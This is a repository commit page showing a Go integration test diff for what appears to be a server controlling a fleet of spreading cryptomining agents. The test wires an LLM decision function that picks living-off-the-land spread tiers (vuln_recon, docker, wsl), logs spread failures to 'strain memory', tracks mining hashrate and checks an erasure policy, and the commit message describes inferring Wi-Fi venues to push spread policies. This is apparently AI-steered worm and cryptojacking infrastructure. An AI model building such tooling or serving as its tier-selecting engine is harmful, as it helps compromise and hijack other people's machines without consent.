Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
@@ -44,6 +45,7 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})
|
||||
|
||||
cfgSrc := &mutableFleetAIConfig{view: aiCfg}
|
||||
pathTracer := NewPathTracerHandler(hub)
|
||||
sched := fleetai.NewScheduler(
|
||||
&ConfigAIAdapter{Src: cfgSrc},
|
||||
&WSHubSnapshotAdapter{Hub: hub},
|
||||
@@ -52,6 +54,15 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
&DatabaseCourtAdapter{DB: database},
|
||||
hub.ClearanceManager(),
|
||||
)
|
||||
sched.SetSurgicalDeps(fleetai.SurgicalDeps{
|
||||
Trace: &PathTraceSurgicalAdapter{Hub: hub, PathTrace: pathTracer},
|
||||
Strain: &DatabaseStrainMemoryAdapter{DB: database},
|
||||
Seer: &HubSeerEmitter{Hub: hub, DB: database},
|
||||
StrainLookup: func(agentID string) string {
|
||||
return StrainFromAgent(hub, agentID)
|
||||
},
|
||||
ErasureActive: func() bool { return hub.PolicyErasureEnabled() },
|
||||
})
|
||||
return hub, database, sched
|
||||
}
|
||||
|
||||
@@ -492,3 +503,130 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
|
||||
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationSurgicalReplayFlow exercises pathtrace trace + partial spread failure → surgical fix → strain memory + Seer.
|
||||
func TestIntegrationSurgicalReplayFlow(t *testing.T) {
|
||||
aiCfg := FleetAIConfigView{
|
||||
AIControlEnabled: true, AIEndpoint: "http://127.0.0.1:9/v1",
|
||||
AIModel: "test-model", AIDecisionIntervalSec: 1,
|
||||
}
|
||||
hub, database, sched := newFleetIntelligenceHub(t, aiCfg)
|
||||
|
||||
agentID := "surgical-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
|
||||
SpreadStrain: "#112233",
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
}{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon missing"},
|
||||
},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
sessPayload, _ := json.Marshal(pathTraceSessionPersist{
|
||||
ID: "surgical-sess",
|
||||
AgentIDs: []string{agentID},
|
||||
Hops: []*HopInfo{{AgentID: agentID, AgentName: "surgical-host"}},
|
||||
Error: "spread blocked at docker",
|
||||
})
|
||||
if err := database.UpsertPathTraceSession("surgical-sess", time.Now().UTC(), sessPayload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var capturedPrompt string
|
||||
oldDecide := fleetai.DecideFunc
|
||||
fleetai.DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
|
||||
capturedPrompt = systemPrompt + "\n" + userPrompt
|
||||
return `Rationale: skip docker and retry wsl lane.
|
||||
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
|
||||
}
|
||||
t.Cleanup(func() { fleetai.DecideFunc = oldDecide })
|
||||
|
||||
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "surgical-host", "platform": "windows", "version": "1.0",
|
||||
})
|
||||
pushPartialSpreadTelemetry(t, conn)
|
||||
|
||||
cmdCh := make(chan string, 1)
|
||||
go func() {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "adaptive_strategy_update" {
|
||||
continue
|
||||
}
|
||||
cmdCh <- "reorder_tiers"
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
sched.ResetLastRunForTest(agentID, 2*time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
if capturedPrompt == "" {
|
||||
t.Fatal("expected surgical replay LLM prompt")
|
||||
}
|
||||
if strings.Contains(capturedPrompt, "## PROSECUTOR") {
|
||||
t.Fatalf("expected surgical replay prompt, not court: %s", capturedPrompt)
|
||||
}
|
||||
if !strings.Contains(capturedPrompt, "Surgical replay") {
|
||||
t.Fatalf("missing surgical replay header: %s", capturedPrompt)
|
||||
}
|
||||
|
||||
select {
|
||||
case action := <-cmdCh:
|
||||
if action != "reorder_tiers" {
|
||||
t.Fatalf("unexpected dispatch %q", action)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for surgical reorder_tiers on agent WS")
|
||||
}
|
||||
|
||||
strainRows, err := database.ListStrainMemory(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(strainRows) != 1 || strainRows[0].FailedTier != "docker" {
|
||||
t.Fatalf("strain memory: %+v", strainRows)
|
||||
}
|
||||
seerRows, err := database.ListSeerEvents(5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(seerRows) != 1 || seerRows[0].EventType != "surgical_replay" {
|
||||
t.Fatalf("seer events: %+v", seerRows)
|
||||
}
|
||||
decisions, err := database.ListAIDecisions(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(decisions) == 0 || !strings.Contains(decisions[0].CommandsExecuted, "surgical:") {
|
||||
t.Fatalf("expected surgical decision audit, got %+v", decisions)
|
||||
}
|
||||
}
|
||||
|
||||
func pushPartialSpreadTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||
t.Helper()
|
||||
attempts := []map[string]interface{}{
|
||||
{"tier": "vuln_recon", "ok": true, "duration_ms": 100},
|
||||
{"tier": "docker", "ok": false, "error": "daemon missing", "duration_ms": 500},
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"lotl_attempts": attempts,
|
||||
"lotl_tier": "docker",
|
||||
"mining_hashrate": 0.0,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user